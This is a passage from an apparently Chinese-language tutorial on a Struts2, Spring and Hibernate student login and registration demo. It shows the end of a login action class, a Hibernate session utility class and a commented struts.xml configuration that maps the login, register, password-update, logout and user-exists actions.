stu.setName(name); stu.setPwd(pwd); Student s = sdDao.login(stu); if(s!=null) { return "success"; } return "error"; } public Student getStudent() { return student; } public void setStudent(Student student) { this.student = student; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPwd() { return pwd; } public void setPwd(String pwd) { this.pwd = pwd; } } 9.获取session的工具类 package com.struts.utils; import javax.annotation.Resource; import org.hibernate.Session; import org.hibernate.SessionFactory; import org.springframework.stereotype.Service; @Service public class SessionUtil { private SessionFactory sessionFactory; public SessionFactory getSessionFactory() { return sessionFactory; } @Resource public void setSessionFactory(SessionFactory sessionFactory) { this.sessionFactory = sessionFactory; } public Session getSession() { return sessionFactory.getCurrentSession(); } } 10.配置strutsxml就可以搞事情啦 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.1//EN" "http://struts.apache.org/dtds/struts-2.1.dtd"> <struts> <!-- 在struts.xml文件中可以使用<constant>标记来对default.properties中的常量属性做覆盖性配置,最常更改的几个常量属性是: 1.struts.i18n.encoding=UTF-8:请求消息的编码方式 2.struts.action.extension=action:指定被struts2处理的请求后缀类型。多个用逗号隔开。如:action,do,go 3.struts.configuration.xml.reload=false:当struts.xml改动后,是否重新加载。默认值为false(生产环境下使用),开发阶段最好打开 4.struts.devMode=false:是否使用struts的开发模式。开发模式会有更多的调试信息。默认值为false(生产环境下使用),开发阶段最好打开 5.struts.serve.static.browserCache=true:设置浏览器是否缓存静态内容。默认值为true(生产环境下使用),开发阶段最好关闭。 6.struts.objectFactory=spring:指定由spring负责action对象的创建 7.struts.enable.SlashesInActionNames=false:启用Action的name是否支持斜线(/) 8.struts.enable.DynamicMethodInvocation=false:启用动态方法调用 9.struts.ui.theme=simple:UI主题类型 --> <constant name="struts.devMode" value="true"></constant> <constant name="struts.i18n.encoding" value="UTF-8"></constant> <constant name="struts.locale" value="zh_CN"></constant> <!-- Struts2以package形式管理Action的配置 --> <!-- package常用的属性: 1.name:包名,作为被其它包引用的标识。必须的。实际应用中,应该把一组业务功能相关的Action放在同一个包下。 2.extends:指定要扩展的包名。一般会继承自struts-default包。struts-default包是struts2内置的,它定义了struts2内部的众多拦截器和Result类型。 3.namespace:指定名称空间。Struts2中Action的请求URI映射由namespace和action名称两部分组成。如果不指定该属性,默认的命名空间为""(空字符串)。 4.abstract:声明包为抽象的。抽象包中不能配置action。 --> <package name="mytest" extends="struts-default" namespace="/"> <action name="loginAction" class="com.struts.action.LoginAction" method="Login"> <result name="success">/success.jsp</result> <result name="error" >/index.jsp</result> <!-- 重定向type="redirectAction"如果加上这句则会调跳转到index.jsp.action --> </action> <action name="registerAction" class="com.struts.action.RegisterAction" method="Register"> <result name="success">/index.jsp</result> <result name="error" >/register.jsp</result> <!-- 重定向type="redirectAction"如果加上这句则会调跳转到index.jsp.action --> </action> <action name="updatePwdByNameAction" class="com.struts.action.UpdatePwdByNameAction" method="UpdatePwdByName"> <result name="success">/index.jsp</result> </action> <action name="destroyAction" class="com.struts.action.DestroyAction" method="Destroy"> <result name="success">/index.jsp</result> </action> <action name="isExistAction" class="com.struts.action.IsExistAction" method="isExist"> </action> <action name="loginIsExistAction" class="com.struts.action.IsExistAction" method="LoginIsExist"> </action> </package> </struts> 在登录和注册时使用了ajax判断用户是否存在,提高用户体验,这就是这几条折腾出来的东西… GitHub地址:https://github.com/Danielpengsh/struts